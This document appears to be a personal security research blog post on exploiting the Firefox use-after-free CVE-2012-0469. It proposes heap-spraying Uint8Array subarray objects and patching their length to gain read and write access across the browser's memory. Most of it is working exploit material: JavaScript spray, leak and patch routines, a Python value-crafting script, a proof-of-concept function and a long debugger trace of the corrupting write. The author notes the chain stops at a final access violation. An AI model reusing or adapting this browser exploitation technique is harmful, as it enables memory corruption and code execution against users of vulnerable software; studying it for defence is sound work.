This week I take a look at the research blog post by @vupen Advanced Exploitation of Mozilla Firefox Use-after-free CVE-2012-0469 . It is one year old vulnerability, but thanks to it, simple idea come into my mind…
Exploitation of this vulnerability presented at vupen’s blogs, was not easy, because it have into arsenal just controlled OR for certain location, and it uses nothing more – which is quite interesting ! Because of that, exploitation grows complexity, and the first step was logical expanding length of string object, for memory leak. As the next move was performed OR at one tag-object targeting its VTable, which ends to arbitrary code execution.
but … in generation of HTML5 and its new features, more easier and more general method could be used for this exploitation
1 2 3 |
var FREE_OBJECT_PUPET = "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA" + "\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA\uAAAA" + "\ud220\u218b\uFF85\uFFFF\uffff\u218f\uFF85\uFFFF"; |
In previous blog post i focused on some HTML5 features, and one of them was container with byte-level access : Uint8Array . Logical is that this container have also length, and when we are able to expand it, similiar effect to patched string-object is achieved – but keep in mind that Uint8Array is far more effective -> byte-level acces and more important direct access to data!
So it seems no problem here … but, when you start spraying Uint8Array in this way
1 2 3 4 5 6 7 8 9 10 11 12 13 |
var SPRAY_LVL = 0x8; var hspray = new Array(); for (var i = 0; i < SPRAY_LVL; i++) hspray[i] = new Uint8Array([0x44, 0x45, 0x43, 0x4f, 0x59]); alert("alter size ..."); for (var i = 0; i < hspray.length; i++) if (hspray[i].length != 5) alert(((hspray[i].length << 1) >>> 1).toString(0x10)); alert("finished"); |
you will encounter that nothing happen! Magic is that original length which should be patched to achieve overflow effect is stored not in object whith data-buffer, but in its container…
So one option is to start spraying Uint8Array which will efectively spray 2objects in 2different part of heap, which can be problem, because length member is in smaller object so it can be little dizzy to hit this one …
But direct acces for Uint8Array made aviable system like subarray, which brings special functionality :
The range specified by the begin and end values is clamped to the valid index range for the current array.
And when you take a closer look to this subarray object, you recognize way how it is achieved. Simply, in subbaray object is defined length of substring and pointer to original buffer.
So next try! patch this size
1 2 3 4 5 6 7 8 9 10 11 12 |
var SPRAY_LVL = 0x8; var pupet = new Uint8Array([0x44, 0x45, 0x43, 0x4f, 0x59]); var hspray = new Array(); for (var i = 0; i < SPRAY_LVL; i++) hspray[i] = pupet.subarray(0, 2); alert("alter size ..."); for (var i = 0; i < hspray.length; i++) alert(hspray[i].length); |
and what happens today ?
… and thats it! … now it is totaly sufficient look and patch at just one place -> subarray.length! We know that size of subbaray object is pretty aligned 0x50b, so why not to heapspray it ? .. whith this heapspray, when you are able to patch subarray.length you win! exactly, when you are able to patch length to native ~0x0, then you full pwn app (whole address space of current app), you can patch everthing you want and easier then ever before
- Code
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576var SPRAY_LVL = 0x8;function UsignedXWORD(a){return (a << 1) >>> 1;}function EndianToXWORD(aBuff, pos, size){var xword = 0;for (var i = 0; i < size; i++)xword = (xword << 8) | aBuff[pos + (size - 1) - i];return xword;}//FF11! : mozjs!js::ArrayBuffer::obj_lookupPropertyfunction LeakSomeVtable(explorer, pos){var poi = EndianToXWORD(explorer, 0x70, 4);var ind = UsignedXWORD(poi - pos);poi = EndianToXWORD(explorer, ind, 4);ind = UsignedXWORD(poi - pos);poi = EndianToXWORD(explorer, ind, 4);//ind = UsignedXWORD(poi - pos);//poi = EndianToXWORD(explorer, ind + 0x60, 4);return poi;}//in FIREFOX (v11) ://&ui8a - 0x14 == &ui8a! 0x90 bytes header ==>var pupet = new Uint8Array([0x44, 0x45, 0x43, 0x4f, 0x59]);//==> *(&ui8a.data + 0x7C) - 0x90 == &ui8a ;)var pupet_position_leak = new Uint8Array([0x44, 0x45, 0x43, 0x4f, 0x59]);var hspray = new Array();for (var i = 0; i < SPRAY_LVL; i++)hspray[i] = pupet.subarray(0, 2);alert("alter size ...");for (var i = 0; i < hspray.length; i++){if (hspray[i].length != 2){var img_addr = EndianToXWORD(hspray[i], 0x7c, 4);var pos = img_addr - 0x90;alert("position info : " + pos.toString(0x10) + " " + hspray[i].length);//Perform leak : get some VTablevar leak = LeakSomeVtable(hspray[i], pos);alert(leak.toString(0x10));//Patch everithing : how easy is to write own ptr's ?var ind = UsignedXWORD(leak - pos);for (var j = 0; j < 0x10; j++)hspray[i][ind + j] = j;//perform little experimantal search//Epic! : full house :)for (var j = 0x90; j < UsignedXWORD(hspray[i].length); j++){if (hspray[i][j] == 0x4d && hspray[i][j] == 0x5a){alert("image found, target import / export table! "+ (pos + j).toString(0x10));}}//OLA! exception raised, but check address this code in .asm : RWE!//next goal ? ==> locate our .js code in .asm in memory, and rewrite it ;)//position of UInt8Array should to be at lower address}} - Get position :
- By allocating 2 following Uint8Arrays, you can use address of second one, which you are able to read now, to get position info
- Perform leak :
- searching trouch all address space of aplication throws access exception (PAGE_NOACCESS), so leak-ing addresses of modules, should be done in other way
- just find out connections between objects, and you can ‘jump’ by referencing to the buffer whithout access violation ;)
- Patch everything :
- Direct access of Uint8Array -> direct to subarray => .js code rule over byte-level acces to available address space!
- Epic! :
- as I mentioned, walking whole address space trough buffer cause access violation…
- what could happen, when you are able to locate & patch this code ? done …
Back to CVE :
- arsenal :
- use-after-free
- OR value (1<<max(0x1F)) to certain location (read vupen blog-post for vuln. details!)
- goals :
- via OR expand our subarray
- problems :
- calculations
- on attacker controled value, thx to freed-object, are performed two different magic calculations :
- after first calculation, have to be at calculated address value { 0x10 , 0x11, 0x12 }
- result of second calculation should point to subarray.length
- subarray objects are placed on heap page up to limit page + 0xFC00 -> bytes at address 0xFC0C4 and above are by default zer0ed == no controled access to them
- solution :
- how to craft values :
12345678910111213print hex((0x1ffff >> 0x5) * 4 + 0xFC0C4)for i in range(0x0, 0x10):val = int("0x218bd%x20"%(i), 0x10)#val = int("0x218ff%xff"%(i), 0x10)shift = (val >> 3) & (0x1FFFF)print hex(shift), " ",hex(1 << (shift & 0x1F)), " ",hex((val & ~0xFFFFF) + (shift >> 5) * 4 + 0xFC0C4), " ",hex((val & ~0xFFFFF) + (shift >> 5) * 4 + 0xFC0C4 + 0x38), "[",hex(val & ~0xFFF | 0xc), "] > ",hex(val) - first i need to be able to alter subarray.length, which is resides on <PAGE, PAGE+0xFC00>, and these objects are pretty aligned :)
- it seems, this can be what I need!
123456789101112130x1ffff 0x80000000L 0x219000c0 0x219000f8 [ 0x218ff00c ] > 0x218fffff''' legendshift = 0x1ffffOR value = 0x80000000Ltargeted address by OR = 0x219000c0affected subarray object = 0x219000f8second calculation, address whithnecessary {0x10..0x12} byte = 0x218ff00cfinal value for calculations : 0x218fffff'''
but a little drawback is present .. i need to have at adress 0x218ff00c value { 0x10, 0x11, 0x12 }, but bytes at these adress a unused at zeroed by default … BUT! … - due this vulnerability specs, you are able to perform 2OR operations so lets go craft second value, which will patch our 0x218ff00c byte to 0x10!
0x17a44 0x10 0x218ff00c 0x218ff044 [ 0x218bd00c ] > 0x218bd220
it sounds nice, but now i still need { 0x10, 0x11, 0x12 } at address 0x218bd00c, but when you look at |PAGE + x * 0x100C| you should view values 0x6, which is related to subarray object.. so what next ? … after few experiments, try to allocate with subbaray also substring :)
- Ok so subarays and substrings are at collected at the same ‘page’ of heap, and if you spray correctly at the bottom of the page (especially at 0x219000c0 too :) ) would be subarray!
- how to craft values :
- PoC :
- just quick PoC
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465var gMemory = new Array();function ExchangeObjectUseAfterFree(){//CVE//triggerfor (var foo = 0; foo < 0x1; foo++)TriggerUseAfterFree();for(var i = 0; i < 0x100000; i++){var block = String.fromCharCode(("A").charCodeAt() + i % 0xFF);block += PATTERN;gMemory[i] = block.substr(0, block.length);}}function PublicExploitPOC(){ExchangeObjectUseAfterFree();var pupet = new Uint8Array([0x45, 0x45, 0x47, 0x48]);var pupet_position_leak = new Uint8Array([0x45, 0x45, 0x47, 0x48]);//perform HEAP-SPRAY by subarray's headers! .. old browser old fashion HSvar subs = new Array();for (var i = 0; i < SPRAY; i++){//should be more properly crafted, this is based//on rnd positioning substr vs subarray in block ...subs[subs.length] = pupet.subarray(0, pupet.length);subs[subs.length] = "123456789a".substr(0,8);}alert("Count of SubArray - headers : " + subs.length);//access violation kill this, but in theory, or more time to analyse :), no access violation :Pfor(var i = 0; i < subs.length; i++){if (!(i % 2) && subs[i].length != pupet.length){//get current position == f.e. ROP positionvar img_addr = EndianToXWORD(subs[i], 0x7c, 4);var pos = img_addr - 0x90;alert("position info : " + pos.toString(0x10) +" " + subs[i].length);//get some VTablevar leak = LeakSomeVtable(subs[i], pos);alert(leak.toString(0x10));//locate and find you .js code in .asm//or just path some VTable ...//when security goes wrong ... how easy is to write own ptr's ?var ind = UsignedXWORD(leak - pos);for (var j = 0; j < 0x10; j++){//address to ROP ?PatchXWORD(subs[i], pos, ind + j*4, 4);}}}}ba w4 0x218ff00c ".if poi(0x218ff00c) = 0x10 {} .else {gc}"
- as you can see all goes according to the plan, except last access violation
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481mozjs!js_RemoveRoot+0x17d3:7242ac33 890a mov dword ptr [edx],ecx ds:002b:218ff00c=000000100:000:x86> tmozjs!js_RemoveRoot+0x17d5:7242ac35 8a10 mov dl,byte ptr [eax] ds:002b:218bd220=820:000:x86> tmozjs!js_RemoveRoot+0x17d7:7242ac37 f6d2 not dl0:000:x86> tmozjs!js_RemoveRoot+0x17d9:7242ac39 f6c201 test dl,10:000:x86> tmozjs!js_RemoveRoot+0x17dc:7242ac3c 5f pop edi0:000:x86> tmozjs!js_RemoveRoot+0x17dd:7242ac3d 5e pop esi0:000:x86> tmozjs!js_RemoveRoot+0x17de:7242ac3e 7407 je mozjs!js_RemoveRoot+0x17e7 (7242ac47) [br=0]0:000:x86> tmozjs!js_RemoveRoot+0x17e0:7242ac40 8bd0 mov edx,eax0:000:x86> tmozjs!js_RemoveRoot+0x17e2:7242ac42 e979feffff jmp mozjs!js_RemoveRoot+0x1660 (7242aac0)0:000:x86> tmozjs!js_RemoveRoot+0x1660:7242aac0 8b02 mov eax,dword ptr [edx] ds:002b:218bd220=000000820:000:x86> tmozjs!js_RemoveRoot+0x1662:7242aac2 d1e8 shr eax,10:000:x86> tmozjs!js_RemoveRoot+0x1664:7242aac4 a801 test al,10:000:x86> tmozjs!js_RemoveRoot+0x1666:7242aac6 7446 je mozjs!js_RemoveRoot+0x16ae (7242ab0e) [br=0]0:000:x86> tmozjs!js_RemoveRoot+0x1668:7242aac8 56 push esi0:000:x86> tmozjs!js_RemoveRoot+0x1669:7242aac9 8da42400000000 lea esp,[esp]0:000:x86> tmozjs!js_RemoveRoot+0x1670:7242aad0 8b5208 mov edx,dword ptr [edx+8] ds:002b:218bd228=07fbc4c00:000:x86> tmozjs!js_RemoveRoot+0x1673:7242aad3 8bc2 mov eax,edx0:000:x86> tmozjs!js_RemoveRoot+0x1675:7242aad5 c1e803 shr eax,30:000:x86> tmozjs!js_RemoveRoot+0x1678:7242aad8 25ffff0100 and eax,1FFFFh0:000:x86> tmozjs!js_RemoveRoot+0x167d:7242aadd 8bc8 mov ecx,eax0:000:x86> tmozjs!js_RemoveRoot+0x167f:7242aadf 83e11f and ecx,1Fh0:000:x86> tmozjs!js_RemoveRoot+0x1682:7242aae2 be01000000 mov esi,10:000:x86> tmozjs!js_RemoveRoot+0x1687:7242aae7 d3e6 shl esi,cl0:000:x86> tmozjs!js_RemoveRoot+0x1689:7242aae9 c1e805 shr eax,50:000:x86> tmozjs!js_RemoveRoot+0x168c:7242aaec 8bca mov ecx,edx0:000:x86> tmozjs!js_RemoveRoot+0x168e:7242aaee 81e10000f0ff and ecx,0FFF00000h0:000:x86> tmozjs!js_RemoveRoot+0x1694:7242aaf4 8d8c81c4c00f00 lea ecx,[ecx+eax*4+0FC0C4h]0:000:x86> tmozjs!js_RemoveRoot+0x169b:7242aafb 8b01 mov eax,dword ptr [ecx] ds:002b:07ffefd4=111111110:000:x86> tmozjs!js_RemoveRoot+0x169d:7242aafd 85c6 test esi,eax0:000:x86> tmozjs!js_RemoveRoot+0x169f:7242aaff 750c jne mozjs!js_RemoveRoot+0x16ad (7242ab0d) [br=1]0:000:x86> tmozjs!js_RemoveRoot+0x16ad:7242ab0d 5e pop esi0:000:x86> tmozjs!js_RemoveRoot+0x16ae:7242ab0e c3 ret0:000:x86> tmozjs!js_RemoveRoot+0x181e:7242ac7e 83c404 add esp,40:000:x86> tmozjs!js_RemoveRoot+0x1821:7242ac81 5e pop esi0:000:x86> tmozjs!js_RemoveRoot+0x1822:7242ac82 c3 ret0:000:x86> tmozjs!js_RemoveRoot+0x29c6:7242be26 83c408 add esp,80:000:x86> tmozjs!js_RemoveRoot+0x29c9:7242be29 c3 ret0:000:x86> txul!NS_CStringContainerFinish_P+0x153d:6cf6a900 83c410 add esp,10h0:000:x86> txul!NS_CStringContainerFinish_P+0x1540:6cf6a903 5e pop esi0:000:x86> txul!NS_CStringContainerFinish_P+0x1541:6cf6a904 c3 ret0:000:x86> txul!JSD_ScriptDestroyed+0x16f51:6d1ca8fe 83c410 add esp,10h0:000:x86> txul!JSD_ScriptDestroyed+0x16f54:6d1ca901 837e2c85 cmp dword ptr [esi+2Ch],0FFFFFF85h ds:002b:0a2eeeac=ffffff850:000:x86> dd 0x218ff00c218ff00c 00000010 00000000 00000000 00000000218ff01c 00000000 00000000 00000000 00000000218ff02c 00000000 00000000 00000000 00000000218ff03c 00000000 00000000 00000000 00000000218ff04c 00000000 00000000 00000000 00000000218ff05c 00000000 00000000 00000000 00000000218ff06c 00000000 00000000 00000000 00000000218ff07c 00000000 00000000 00000000 000000000:000:x86> txul!JSD_ScriptDestroyed+0x16f58:6d1ca905 8b4628 mov eax,dword ptr [esi+28h] ds:002b:0a2eeea8=218fffff0:000:x86> txul!JSD_ScriptDestroyed+0x16f5b:6d1ca908 7215 jb xul!JSD_ScriptDestroyed+0x16f72 (6d1ca91f) [br=0]0:000:x86> txul!JSD_ScriptDestroyed+0x16f5d:6d1ca90a 85c0 test eax,eax0:000:x86> txul!JSD_ScriptDestroyed+0x16f5f:6d1ca90c 7411 je xul!JSD_ScriptDestroyed+0x16f72 (6d1ca91f) [br=0]0:000:x86> txul!JSD_ScriptDestroyed+0x16f61:6d1ca90e ff7514 push dword ptr [ebp+14h] ss:002b:005abe24=005abeb40:000:x86> txul!JSD_ScriptDestroyed+0x16f64:6d1ca911 6888228b6d push offset xul!mozilla::layers::LayerManagerOGL::`vftable'+0x630bc (6d8b2288)0:000:x86> txul!JSD_ScriptDestroyed+0x16f69:6d1ca916 50 push eax0:000:x86> txul!JSD_ScriptDestroyed+0x16f6a:6d1ca917 6a02 push 20:000:x86> txul!JSD_ScriptDestroyed+0x16f6c:6d1ca919 ff5510 call dword ptr [ebp+10h] ss:002b:005abe20=6cf6a8e00:000:x86> txul!NS_CStringContainerFinish_P+0x151d:6cf6a8e0 837c240402 cmp dword ptr [esp+4],2 ss:002b:005abdf4=000000020:000:x86> txul!NS_CStringContainerFinish_P+0x1522:6cf6a8e5 751d jne xul!NS_CStringContainerFinish_P+0x1541 (6cf6a904) [br=0]0:000:x86> txul!NS_CStringContainerFinish_P+0x1524:6cf6a8e7 56 push esi0:000:x86> txul!NS_CStringContainerFinish_P+0x1525:6cf6a8e8 8b74240c mov esi,dword ptr [esp+0Ch] ss:002b:005abdf8=218fffff0:000:x86> txul!NS_CStringContainerFinish_P+0x1529:6cf6a8ec 56 push esi0:000:x86> txul!NS_CStringContainerFinish_P+0x152a:6cf6a8ed ff15809e6b6d call dword ptr [xul!XRE_InitParentProcess+0x10a91 (6d6b9e80)] ds:002b:6d6b9e80={mozjs!js_GetGCThingTraceKind (72424c20)}0:000:x86> tmozjs!js_GetGCThingTraceKind:72424c20 8b442404 mov eax,dword ptr [esp+4] ss:002b:005abde8=218fffff0:000:x86> tmozjs!js_GetGCThingTraceKind+0x4:72424c24 2500f0ffff and eax,0FFFFF000h0:000:x86> tmozjs!js_GetGCThingTraceKind+0x9:72424c29 8b480c mov ecx,dword ptr [eax+0Ch] ds:002b:218ff00c=000000100:000:x86> tmozjs!js_GetGCThingTraceKind+0xc:72424c2c 81e1ff000000 and ecx,0FFh0:000:x86> tmozjs!js_GetGCThingTraceKind+0x12:72424c32 8b048da0e15572 mov eax,dword ptr mozjs!js::gc::Arena::FirstThingOffsets+0x50 (7255e1a0)[ecx*4] ds:002b:7255e1e0=000000030:000:x86> dd 7255e1a07255e1a0 00000000 00000000 00000000 000000007255e1b0 00000000 00000000 00000000 000000007255e1c0 00000000 00000000 00000000 000000007255e1d0 00000002 00000004 00000005 000000067255e1e0 00000003 00000001 00000001 000000017255e1f0 4cb40000 746f6f72 00000000 6b636f6c7255e200 6f206465 63656a62 00000074 3a3a736a7255e210 6f747541 6d756e45 74617453 6f6f52650:000:x86> tmozjs!js_GetGCThingTraceKind+0x19:72424c39 c3 ret0:000:x86> txul!NS_CStringContainerFinish_P+0x1530:6cf6a8f3 50 push eax0:000:x86> txul!NS_CStringContainerFinish_P+0x1531:6cf6a8f4 8b44241c mov eax,dword ptr [esp+1Ch] ss:002b:005abe00=005abeb40:000:x86> txul!NS_CStringContainerFinish_P+0x1535:6cf6a8f8 56 push esi0:000:x86> txul!NS_CStringContainerFinish_P+0x1536:6cf6a8f9 50 push eax0:000:x86> txul!NS_CStringContainerFinish_P+0x1537:6cf6a8fa ff15fc9f6b6d call dword ptr [xul!XRE_InitParentProcess+0x10c0d (6d6b9ffc)] ds:002b:6d6b9ffc={mozjs!JS_CallTracer (723f64b0)}0:000:x86> tmozjs!JS_CallTracer:723f64b0 e9fb600300 jmp mozjs!js_RemoveRoot+0x3150 (7242c5b0)0:000:x86> tmozjs!js_RemoveRoot+0x3150:7242c5b0 e93bf8ffff jmp mozjs!js_RemoveRoot+0x2990 (7242bdf0)0:000:x86> tmozjs!js_RemoveRoot+0x2990:7242bdf0 8b44240c mov eax,dword ptr [esp+0Ch] ss:002b:005abde4=000000030:000:x86> tmozjs!js_RemoveRoot+0x2994:7242bdf4 83f806 cmp eax,60:000:x86> tmozjs!js_RemoveRoot+0x2997:7242bdf7 0f8785000000 ja mozjs!js_RemoveRoot+0x2a22 (7242be82) [br=0]0:000:x86> tmozjs!js_RemoveRoot+0x299d:7242bdfd ff248584be4272 jmp dword ptr mozjs!js_RemoveRoot+0x2a24 (7242be84)[eax*4] ds:002b:7242be90=7242be700:000:x86> dd 7242be847242be84 7242be04 7242be17 7242be2a 7242be707242be94 7242be3d 7242be50 7242be63 8b08ec837242bea4 8b102444 240c8908 8304488b 057485f97242beb4 7587f983 748b564c 0e8b1024 0268898b7242bec4 c9850002 108b0c74 f000e281 0a39ffff7242bed4 088b2e75 04244c89 8304488b 057485f97242bee4 7587f983 8b108b1b 24548900 83d233047242bef4 940f85f9 565052c2 fffeefe8 0cc483ff0:000:x86> tmozjs!js_RemoveRoot+0x2a10:7242be70 8b442408 mov eax,dword ptr [esp+8] ss:002b:005abde0=218fffff0:000:x86> tmozjs!js_RemoveRoot+0x2a14:7242be74 8b4c2404 mov ecx,dword ptr [esp+4] ss:002b:005abddc=005abeb40:000:x86> tmozjs!js_RemoveRoot+0x2a18:7242be78 50 push eax0:000:x86> tmozjs!js_RemoveRoot+0x2a19:7242be79 51 push ecx0:000:x86> tmozjs!js_RemoveRoot+0x2a1a:7242be7a e861f2ffff call mozjs!js_RemoveRoot+0x1c80 (7242b0e0)0:000:x86> tmozjs!js_RemoveRoot+0x1c80:7242b0e0 8b4c2404 mov ecx,dword ptr [esp+4] ss:002b:005abdd0=005abeb40:000:x86> tmozjs!js_RemoveRoot+0x1c84:7242b0e4 8b01 mov eax,dword ptr [ecx] ds:002b:005abeb4=04a150000:000:x86> tmozjs!js_RemoveRoot+0x1c86:7242b0e6 8b8068020200 mov eax,dword ptr [eax+20268h] ds:002b:04a35268=000000000:000:x86> tmozjs!js_RemoveRoot+0x1c8c:7242b0ec 85c0 test eax,eax0:000:x86> tmozjs!js_RemoveRoot+0x1c8e:7242b0ee 8b542408 mov edx,dword ptr [esp+8] ss:002b:005abdd4=218fffff0:000:x86> tmozjs!js_RemoveRoot+0x1c92:7242b0f2 56 push esi0:000:x86> tmozjs!js_RemoveRoot+0x1c93:7242b0f3 740c je mozjs!js_RemoveRoot+0x1ca1 (7242b101) [br=1]0:000:x86> tmozjs!js_RemoveRoot+0x1ca1:7242b101 8b4108 mov eax,dword ptr [ecx+8] ds:002b:005abebc=000000000:000:x86> tmozjs!js_RemoveRoot+0x1ca4:7242b104 85c0 test eax,eax0:000:x86> tmozjs!js_RemoveRoot+0x1ca6:7242b106 750e jne mozjs!js_RemoveRoot+0x1cb6 (7242b116) [br=0]0:000:x86> tmozjs!js_RemoveRoot+0x1ca8:7242b108 5e pop esi0:000:x86> tmozjs!js_RemoveRoot+0x1ca9:7242b109 89542408 mov dword ptr [esp+8],edx ss:002b:005abdd4=218fffff0:000:x86> tmozjs!js_RemoveRoot+0x1cad:7242b10d 894c2404 mov dword ptr [esp+4],ecx ss:002b:005abdd0=005abeb40:000:x86> tmozjs!js_RemoveRoot+0x1cb1:7242b111 e9eafbffff jmp mozjs!js_RemoveRoot+0x18a0 (7242ad00)0:000:x86> tmozjs!js_RemoveRoot+0x18a0:7242ad00 8b442404 mov eax,dword ptr [esp+4] ss:002b:005abdd0=005abeb40:000:x86> tmozjs!js_RemoveRoot+0x18a4:7242ad04 53 push ebx0:000:x86> tmozjs!js_RemoveRoot+0x18a5:7242ad05 8b581c mov ebx,dword ptr [eax+1Ch] ds:002b:005abed0=000000010:000:x86> tmozjs!js_RemoveRoot+0x18a8:7242ad08 55 push ebp0:000:x86> tmozjs!js_RemoveRoot+0x18a9:7242ad09 8b6c2410 mov ebp,dword ptr [esp+10h] ss:002b:005abdd4=218fffff0:000:x86> tmozjs!js_RemoveRoot+0x18ad:7242ad0d 8bc5 mov eax,ebp0:000:x86> tmozjs!js_RemoveRoot+0x18af:7242ad0f c1e803 shr eax,30:000:x86> tmozjs!js_RemoveRoot+0x18b2:7242ad12 25ffff0100 and eax,1FFFFh0:000:x86> tmozjs!js_RemoveRoot+0x18b7:7242ad17 56 push esi0:000:x86> tmozjs!js_RemoveRoot+0x18b8:7242ad18 8bc8 mov ecx,eax0:000:x86> tmozjs!js_RemoveRoot+0x18ba:7242ad1a 83e11f and ecx,1Fh0:000:x86> tmozjs!js_RemoveRoot+0x18bd:7242ad1d be01000000 mov esi,10:000:x86> tmozjs!js_RemoveRoot+0x18c2:7242ad22 d3e6 shl esi,cl0:000:x86> tmozjs!js_RemoveRoot+0x18c4:7242ad24 8bd5 mov edx,ebp0:000:x86> tmozjs!js_RemoveRoot+0x18c6:7242ad26 81e20000f0ff and edx,0FFF00000h0:000:x86> tmozjs!js_RemoveRoot+0x18cc:7242ad2c 8bc8 mov ecx,eax0:000:x86> tmozjs!js_RemoveRoot+0x18ce:7242ad2e c1e905 shr ecx,50:000:x86> tmozjs!js_RemoveRoot+0x18d1:7242ad31 81c2c4c00f00 add edx,0FC0C4h0:000:x86> tmozjs!js_RemoveRoot+0x18d7:7242ad37 57 push edi0:000:x86> tmozjs!js_RemoveRoot+0x18d8:7242ad38 8d3c8a lea edi,[edx+ecx*4]0:000:x86> tmozjs!js_RemoveRoot+0x18db:7242ad3b 8b0f mov ecx,dword ptr [edi] ds:002b:219000c0=000000040:000:x86> tmozjs!js_RemoveRoot+0x18dd:7242ad3d 85ce test esi,ecx0:000:x86> tmozjs!js_RemoveRoot+0x18df:7242ad3f 7546 jne mozjs!js_RemoveRoot+0x1927 (7242ad87) [br=0]0:000:x86> tmozjs!js_RemoveRoot+0x18e1:7242ad41 0bce or ecx,esi0:000:x86> tmozjs!js_RemoveRoot+0x18e3:7242ad43 85db test ebx,ebx0:000:x86> tmozjs!js_RemoveRoot+0x18e5:7242ad45 890f mov dword ptr [edi],ecx ds:002b:219000c0=000000040:000:x86> r ecxecx=800000040:000:x86> tmozjs!js_RemoveRoot+0x18e7:7242ad47 741e je mozjs!js_RemoveRoot+0x1907 (7242ad67) [br=0]0:000:x86> tmozjs!js_RemoveRoot+0x18e9:7242ad49 03c3 add eax,ebx0:000:x86> tmozjs!js_RemoveRoot+0x18eb:7242ad4b 8bc8 mov ecx,eax0:000:x86> tmozjs!js_RemoveRoot+0x18ed:7242ad4d 83e11f and ecx,1Fh0:000:x86> tmozjs!js_RemoveRoot+0x18f0:7242ad50 c1e805 shr eax,50:000:x86> tmozjs!js_RemoveRoot+0x18f3:7242ad53 be01000000 mov esi,10:000:x86> tmozjs!js_RemoveRoot+0x18f8:7242ad58 d3e6 shl esi,cl0:000:x86> tmozjs!js_RemoveRoot+0x18fa:7242ad5a 8d0c82 lea ecx,[edx+eax*4]0:000:x86> tmozjs!js_RemoveRoot+0x18fd:7242ad5d 8b01 mov eax,dword ptr [ecx] ds:002b:219000c4=ffffff810:000:x86> tmozjs!js_RemoveRoot+0x18ff:7242ad5f 85c6 test esi,eax0:000:x86> tmozjs!js_RemoveRoot+0x1901:7242ad61 7524 jne mozjs!js_RemoveRoot+0x1927 (7242ad87) [br=1]0:000:x86> tmozjs!js_RemoveRoot+0x1927:7242ad87 5f pop edi0:000:x86> tmozjs!js_RemoveRoot+0x1928:7242ad88 5e pop esi0:000:x86> tmozjs!js_RemoveRoot+0x1929:7242ad89 5d pop ebp0:000:x86> tmozjs!js_RemoveRoot+0x192a:7242ad8a 5b pop ebx0:000:x86> tmozjs!js_RemoveRoot+0x192b:7242ad8b c3 ret0:000:x86> tmozjs!js_RemoveRoot+0x2a1f:7242be7f 83c408 add esp,80:000:x86> tmozjs!js_RemoveRoot+0x2a22:7242be82 c3 ret0:000:x86> txul!NS_CStringContainerFinish_P+0x153d:6cf6a900 83c410 add esp,10h0:000:x86> txul!NS_CStringContainerFinish_P+0x1540:6cf6a903 5e pop esi0:000:x86> txul!NS_CStringContainerFinish_P+0x1541:6cf6a904 c3 ret0:000:x86> g(179c.152c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.mozjs!JS_GetCompartmentPrivate+0x4:723f8384 8b8010030000 mov eax,dword ptr [eax+310h] ds:002b:00000310=????????0:006:x86> dd 219000c0219000c0 80000004 ffffff81 00000000 ffffff81219000d0 00000004 ffffff81 00000001 ffffff81219000e0 053333a0 ffffff87 07fbc4c0 00000000219000f0 00000082 07fbc4c8 053333c0 0000000021900100 46b90970 0532c3e0 00000000 725c1da421900110 00000004 ffffff81 00000000 ffffff8121900120 00000004 ffffff81 00000001 ffffff8121900130 053333a0 ffffff87 07fbc4c0 000000000:006:x86> dd 0x218bd00c218bd00c 00000012 00000082 07fbc4c8 07fbc4c0218bd01c 725c1da4 00000082 07fbc4c8 07fbc4c0218bd02c ffffff81 00000082 07fbc4c8 07fbc4c0218bd03c ffffff81 00000082 07fbc4c8 07fbc4c0218bd04c 00000000 00000082 07fbc4c8 07fbc4c0218bd05c 00000000 00000082 07fbc4c8 07fbc4c0218bd06c 725c1da4 00000082 07fbc4c8 07fbc4c0218bd07c ffffff81 00000082 07fbc4c8 07fbc4c00:006:x86> dd 0x219000f8219000f8 053333c0 00000000 46b90970 0532c3e021900108 00000000 725c1da4 00000004 ffffff8121900118 00000000 ffffff81 00000004 ffffff8121900128 00000001 ffffff81 053333a0 ffffff8721900138 07fbc4c0 00000000 00000082 07fbc4c821900148 053333c0 00000000 46b90970 0532c3e021900158 00000000 725c1da4 00000004 ffffff8121900168 00000000 ffffff81 00000004 ffffff81
- just quick PoC
Conclusions : Typed arrays are very powerfull in view of developer but also in hand of the attacker. Direct access, byte-level access make it ideal support for attack, and made a day for hard exploitable vulnerabilities … maybe some checks of overlaping length’s should not be bad idea…
* for testing was used FF11, but similiar (difference in offsets) it work in new FF, GC ..
0 Comments.